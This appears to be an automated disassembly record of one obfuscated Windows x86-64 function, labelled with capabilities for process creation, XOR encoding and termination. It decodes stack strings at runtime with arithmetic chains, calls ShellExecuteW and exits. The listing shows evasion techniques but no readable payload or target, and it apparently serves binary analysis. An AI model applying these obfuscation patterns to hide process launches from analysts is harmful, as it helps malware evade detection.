Function at 0x1401573a0
Capabilities:
Create process on windows
Encode data using xor
Terminate process

Disassembly:
xchg rbx, rsi
mov qword [rsp + 8], rsi
xchg rbx, rsi
mov qword [rsp + 0x10], rsi
push rbp
nop
sub rsp, 8
mov qword [rsp], rdi
nop
mov qword [rsp - 8], r12
sub rsp, 8
nop
sub rsp, 8
mov qword [rsp], r14
push r15
lea rbp, [rsp - 0x2070]
mov eax, 0x472776dc
xor eax, 0xd45932c
sub eax, 0x1a549496
add eax, 0x4cb152f1
sub eax, 0x4163d282
sub eax, 0x23aef44f
add eax, 0x22887fe0
sub eax, 0x3a353bea
call fcn.1401fd040
sub rsp, rax
mov r15, rdx
xchg r13, rcx
mov r12, r13
xchg rcx, r13
xor esi, esi
mov r14d, esi
mov dword [rbp + 0x20b0], esi
test r8b, r8b
je 0x140157cf8
xchg rcx, rdx
mov rdx, rcx
xchg rcx, rdx
call fcn.1400703e0
cmp rax, 3
jb 0x140157b9d
lea edx, [rsi + 1]
xchg rcx, rdi
mov rdi, r15
xchg rdi, rcx
call fcn.14004e250
mov dl, 0x7c
xor dl, 0x28
sub dl, 0x3e
add dl, 0xf
xor dl, 0x77
sub dl, 0x40
sub dl, 0x11
xchg rdx, rax
mov rcx, rdx
xchg rdx, rax
call fcn.14007dda0
test al, al
je 0x140157b9d
lea r9d, [rsi - 1]
lea r8d, [rsi + 0x1b]
lea rdx, [rbp - 0x20]
mov rcx, qword [r12]
call fcn.140163d00
nop
mov rdi, qword [r12]
lea rcx, [rdi + 0x308]
call fcn.14007e930
mov rbx, rax
lea edx, [rsi + 2]
mov rcx, r15
call fcn.14004e250
lea rdx, [rbp - 0x80]
xchg rcx, rax
mov rax, rcx
xchg rcx, rax
call fcn.14007e390
nop
lea r8, [rbp - 0x80]
lea rdx, [rbp + 0x28]
xchg rbx, rdx
mov rcx, rdx
xchg rdx, rbx
call fcn.1400528a0
nop
xchg rcx, rbp
mov rbp, rax
xchg rcx, rbp
call fcn.140176490
xchg rbx, rax
mov rax, rbx
xchg rbx, rax
lea rcx, [rbp - 0x20]
call fcn.14007b260
xchg r10, rbx
mov r9, r10
xchg rbx, r10
xchg r15, r8
mov r15, rax
xchg r15, r8
lea edx, [rsi + 0x40]
xchg r11, rdi
mov rcx, r11
xchg r11, rdi
call fcn.14016e680
nop
lea rcx, [rbp + 0x28]
call fcn.140029be0
nop
lea rcx, [rbp - 0x80]
call fcn.14004c730
xchg rcx, rbx
mov rbx, r15
xchg rcx, rbx
call fcn.1400703e0
cmp rax, 4
jb 0x140157b94
mov rcx, qword [r12]
sub rcx, 0xfffffffffffffcf8
call fcn.14007e930
mov rbx, rax
lea edx, [rsi + 3]
xchg r8, r15
mov rcx, r8
xchg r15, r8
call fcn.14004e250
lea rdx, [rsp + 0x60]
mov rcx, rax
call fcn.14007e390
nop
lea r8, [rsp + 0x60]
lea rdx, [rbp - 0x60]
xchg rbx, r9
mov rcx, r9
xchg rbx, r9
call fcn.1400528a0
nop
lea rcx, [rsp + 0x60]
call fcn.14004c730
lea rcx, [rbp - 0x60]
call fcn.1401794b0
cmp rax, 8
jb 0x14015791f
lea r9d, [rsi + 8]
xor r8d, r8d
lea rdx, [rbp + 0x48]
lea rcx, [rbp - 0x60]
call 0x1401794d0
nop
mov dword [rbp + 0x20b0], 0x28c46b76
xor dword [rbp + 0x20b0], 0x58338ffb
sub dword [rbp + 0x20b0], 0x2487d73d
xor dword [rbp + 0x20b0], 0x4a0eb05f
xor dword [rbp + 0x20b0], 0x4f81529e
xor dword [rbp + 0x20b0], 0x579f97ac
add dword [rbp + 0x20b0], 0x585616c6
sub dword [rbp + 0x20b0], 0x4945ad37
sub dword [rbp + 0x20b0], 0x2d70e1cb
xchg rdx, rcx
mov rdx, rax
xchg rcx, rdx
call fcn.140176490
xchg r10, rdx
mov r10, rax
xchg r10, rdx
lea rcx, [rbp + 0x10]
call fcn.14007ab10
xchg rbx, rax
mov rax, rbx
xchg rbx, rax
mov dword [rbp + 0x20b0], 0x4c1f3fd4
add dword [rbp + 0x20b0], 0xe1c2810
sub dword [rbp + 0x20b0], 0x3d2496ac
add dword [rbp + 0x20b0], 0x5209cd0
xor dword [rbp + 0x20b0], 0x3b63249f
add dword [rbp + 0x20b0], 0x3d4a60f
sub dword [rbp + 0x20b0], 0x1d28f0a3
mov dword [rsp + 0x40], 0x30aa539c
add dword [rsp + 0x40], 0x4bd42530
xor dword [rsp + 0x40], 0x59aee989
add dword [rsp + 0x40], 0x3de901d6
sub dword [rsp + 0x40], 0x25e683de
add dword [rsp + 0x40], 0x29597497
xor dword [rsp + 0x40], 0x4e8487e
add dword [rsp + 0x40], 0x93322b4c
mov dword [rsp + 0x4a], 0x36afc86c
add dword [rsp + 0x4a], 0x20c0657d
sub dword [rsp + 0x4a], 0x4742f2c6
add dword [rsp + 0x4a], 0x33f7d535
add dword [rsp + 0x4a], 0x157aad73
sub dword [rsp + 0x4a], 0x4e664a07
add dword [rsp + 0x4a], 0xf4458bae
mov dword [rsp + 0x4e], 0x2c13ee71
add dword [rsp + 0x4e], 0x14779358
add dword [rsp + 0x4e], 0x2ed4872
add dword [rsp + 0x4e], 0x1005d762
xor dword [rsp + 0x4e], 0x65c200
xor dword [rsp + 0x4e], 0x7f2a8b8e
xor dword [rsp + 0x4e], 0xd34b176d
mov dword [rsp + 0x44], 0x52a63099
xor dword [rsp + 0x44], 0x4c20a554
xor dword [rsp + 0x44], 0x57c8a289
xor dword [rsp + 0x44], 0x503b965
xor dword [rsp + 0x44], 0x30fff8a1
sub dword [rsp + 0x44], 0x2d96340f
sub dword [rsp + 0x44], 0x4746b93e
xor dword [rsp + 0x44], 0xf1237fc5
mov dword [rsp + 0x52], 0x71450508
xor dword [rsp + 0x52], 0x2efd07ff
sub dword [rsp + 0x52], 0x25724803
add dword [rsp + 0x52], 0x2f3941aa
sub dword [rsp + 0x52], 0x1829ce40
xor dword [rsp + 0x52], 0xae11d123
mov dword [rsp + 0x56], 0x24f08c0d
add dword [rsp + 0x56], 0x2919dc66
xor dword [rsp + 0x56], 0x91efe2c
add dword [rsp + 0x56], 0x90f0bcc
add dword [rsp + 0x56], 0x25dbbb86
xor dword [rsp + 0x56], 0x1850a14f
xor dword [rsp + 0x56], 0x929603c7
xor eax, eax
mov word [rsp + 0x5a], ax
mov edx, esi
movzx eax, word [rsp + rdx*2 + 0x4a]
movzx ecx, byte [rsp + rdx + 0x40]
add cx, ax
mov word [rsp + rdx*2 + 0x4a], cx
mov byte [rsp + rdx + 0x40], 0x2f
add byte [rsp + rdx + 0x40], 0x26
add byte [rsp + rdx + 0x40], 0xc
sub byte [rsp + rdx + 0x40], 3
add byte [rsp + rdx + 0x40], 0x15
xor byte [rsp + rdx + 0x40], 0x1f
sub byte [rsp + rdx + 0x40], 0x6c
inc rdx
cmp rdx, 8
jb 0x1401577e5
mov dword [rbp + 0x20b0], 0x3780d320
sub dword [rbp + 0x20b0], 0x132327e9
add dword [rbp + 0x20b0], 0x179d38dc
sub dword [rbp + 0x20b0], 0x257d1b94
sub dword [rbp + 0x20b0], 0x4e89097
add dword [rbp + 0x20b0], 0x2891dd2c
add dword [rbp + 0x20b0], 0x42110cc6
sub dword [rbp + 0x20b0], 0x7c3821d3
movups xmm0, xmmword [rsp + 0x40]
xchg rbp, rdx
movaps xmmword [rdx - 0x40], xmm0
xchg rdx, rbp
movsd xmm1, qword [rsp + 0x50]
xchg r15, rbp
movsd qword [r15 - 0x30], xmm1
xchg rbp, r15
mov eax, dword [rsp + 0x58]
mov dword [rbp - 0x28], eax
lea rdx, [rbp - 0x40]
lea rcx, [rbp - 8]
call fcn.14007c180
nop
mov r14d, 0x55737800
sub r14d, 0x3504cbdc
sub r14d, 0xa410b26
add r14d, 0x3f82a7eb
add r14d, 0x258e7602
sub r14d, 0x737f55e1
xor r14d, 0x177238df
xor r14d, 0x3b2b6ab
sub r14d, 0x137fe76f
mov dword [rbp + 0x20b0], r14d
xchg r10, rax
mov rdx, r10
xchg r10, rax
mov rcx, rbx
call fcn.14007b1e0
test al, al
je 0x14015791f
mov bl, 0x4b
xor bl, 0x76
add bl, 0x3a
sub bl, 0x15
xor bl, 0x34
xor bl, 0x57
jmp 0x140157921
xor bl, bl
test r14b, 8
je 0x140157940
and r14d, 0xfffffff7
mov dword [rbp + 0x20b0], r14d
lea rcx, [rbp - 8]
call fcn.14007af20
nop
test r14b, 4
je 0x140157992
and r14d, 0xfffffffb
mov dword [rbp + 0x20b0], r14d
xchg r14, rax
mov r14, rsi
xchg r14, rax
nop word [rax + rax]
mov byte [rsp + rax + 0x4a], 0x31
add byte [rsp + rax + 0x4a], 0xf
xor byte [rsp + rax + 0x4a], 0x35
sub byte [rsp + rax + 0x4a], 0x25
add byte [rsp + rax + 0x4a], 4
xor byte [rsp + rax + 0x4a], 0x54
inc rax
cmp rax, 0x10
jb 0x140157967
test r14b, 2
je 0x1401579b1
and r14d, 0xfffffffd
mov dword [rbp + 0x20b0], r14d
lea rcx, [rbp + 0x10]
call fcn.14007af20
nop
test r14b, 1
je 0x1401579cf
and r14d, 0xfffffffe
mov dword [rbp + 0x20b0], r14d
lea rcx, [rbp + 0x48]
call fcn.140029be0
test bl, bl
je 0x140157b8a
lea rcx, [rbp - 0x60]
call fcn.140176490
mov r8, rax
mov dword [rsp + 0x30], 0x6aa7f9a2
sub dword [rsp + 0x30], 0xda98da2
sub dword [rsp + 0x30], 0x453a5b5f
xor dword [rsp + 0x30], 0x27ef23f5
xor dword [rsp + 0x30], 0x1f97b1fa
add dword [rsp + 0x30], 0x10b60293
sub dword [rsp + 0x30], 0x29c56fa4
add dword [rsp + 0x30], 0xe049e159
mov dword [rsp + 0x36], 0x3729784a
add dword [rsp + 0x36], 0x25c6b633
xor dword [rsp + 0x36], 0x43f783f
xor dword [rsp + 0x36], 0x79e5ee4a
add dword [rsp + 0x36], 0x4bbda87b
xor dword [rsp + 0x36], 0x4fc8644b
add dword [rsp + 0x36], 0x54b579f6
xor dword [rsp + 0x36], 0x75ccec7f
xor dword [rsp + 0x36], 0xfd636db8
mov dword [rsp + 0x3a], 0x68656899
xor dword [rsp + 0x3a], 0x21ec0469
xor dword [rsp + 0x3a], 0x77190ba3
sub dword [rsp + 0x3a], 0x3763efcf
xor dword [rsp + 0x3a], 0x5486a958
xor dword [rsp + 0x3a], 0x53bb64aa
add dword [rsp + 0x3a], 0x5f3d89a5
add dword [rsp + 0x3a], 0xa029bb54
xor eax, eax
mov word [rsp + 0x3e], ax
xchg rbx, rax
mov rbx, rsi
xchg rbx, rax
nop dword [rax]
movzx ecx, word [rsp + rax*2 + 0x36]
movzx edx, byte [rsp + rax + 0x30]
add dx, cx
mov word [rsp + rax*2 + 0x36], dx
mov byte [rsp + rax + 0x30], 0x39
sub byte [rsp + rax + 0x30], 0x18
add byte [rsp + rax + 0x30], 0x2f
add byte [rsp + rax + 0x30], 0x1f
xor byte [rsp + rax + 0x30], 0x60
add byte [rsp + rax + 0x30], 0x5a
xor byte [rsp + rax + 0x30], 0x69
inc rax
cmp rax, 4
jb 0x140157ac0
mov dword [rsp + 0x28], 0x61a202bb
add dword [rsp + 0x28], 0x187125fc
xor dword [rsp + 0x28], 0x31677773
add dword [rsp + 0x28], 0x27bf1846
xor dword [rsp + 0x28], 0x4b597b06
add dword [rsp + 0x28], 0x43f47363
sub dword [rsp + 0x28], 0x761777bc
sub dword [rsp + 0x28], 0x646feb2
mov qword [rsp + 0x20], rsi
xor r9d, r9d
lea rdx, [rsp + 0x36]
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
nop dword [rax]
mov byte [rsp + rsi + 0x36], 0xf
add byte [rsp + rsi + 0x36], 0x42
xor byte [rsp + rsi + 0x36], 0x5c
add byte [rsp + rsi + 0x36], 0x3e
sub byte [rsp + rsi + 0x36], 4
sub byte [rsp + rsi + 0x36], 0x45
sub byte [rsp + rsi + 0x36], 2
inc rsi
cmp rsi, 8
jb 0x140157b5a
lea rcx, [rbp - 0x60]
call fcn.140029be0
nop
lea rcx, [rbp - 0x20]
jmp 0x140157cf3
mov r9d, 0x5b1cb0fe
sub r9d, 0x36c779e0
add r9d, 0x58c287c9
sub r9d, 0x7a77cb4f
add r9d, 0x44aa9cad
sub r9d, 0x121e373d
add r9d, 0xcad3a6f7
lea r8d, [r9 + 0x1c]
lea rdx, [rbp - 0x80]
xchg rsi, rcx
mov rsi, qword [r12]
xchg rcx, rsi
call fcn.140163d00
nop
mov r9d, 0x21328386
add r9d, 0x3976e844
add r9d, 0x2764530
sub r9d, 0x5498852f
add r9d, 0x60c5a740
xor r9d, 0x59f42ef5
add r9d, 0xcf470201
lea r8d, [r9 + 0x1d]
lea rdx, [rsp + 0x60]
xchg rsi, rcx
mov rsi, qword [r12]
xchg rcx, rsi
call fcn.140163d00
nop
xor edx, edx
mov r8d, 0x9a63386
add r8d, 0x4fda6d11
sub r8d, 0xeaeddbc
add r8d, 0xfb28096
xor r8d, 0x7778e0d0
sub r8d, 0x2dfc83a1
lea rcx, [rbp + 0x70]
call sub.VCRUNTIME140.dll_memset
mov rcx, qword [r12]
sub rcx, 0xfffffffffffffaa0
call fcn.14007b660
mov rbx, rax
lea rcx, [rsp + 0x60]
call fcn.14007b660
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x70]
call fcn.140086b60
mov rbx, qword [r12]
lea rcx, [rbp - 0x80]
call fcn.14007b260
lea r9, [rbp + 0x70]
xchg r8, rax
mov rax, r8
xchg r8, rax
mov edx, 0x13ea9397
xor edx, 0x472ec7e5
sub edx, 0x1650c3cd
sub edx, 0x264e4ab6
xor edx, 0x1a749d8c
add edx, 0x1d326b0a
sub edx, 0x443696c
add edx, 0x3f875d50
sub edx, 0x5ac83711
mov rcx, rbx
call fcn.14016e680
nop
lea rcx, [rsp + 0x60]
call fcn.14007af20
nop
lea rcx, [rbp - 0x80]
call fcn.14007af20
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3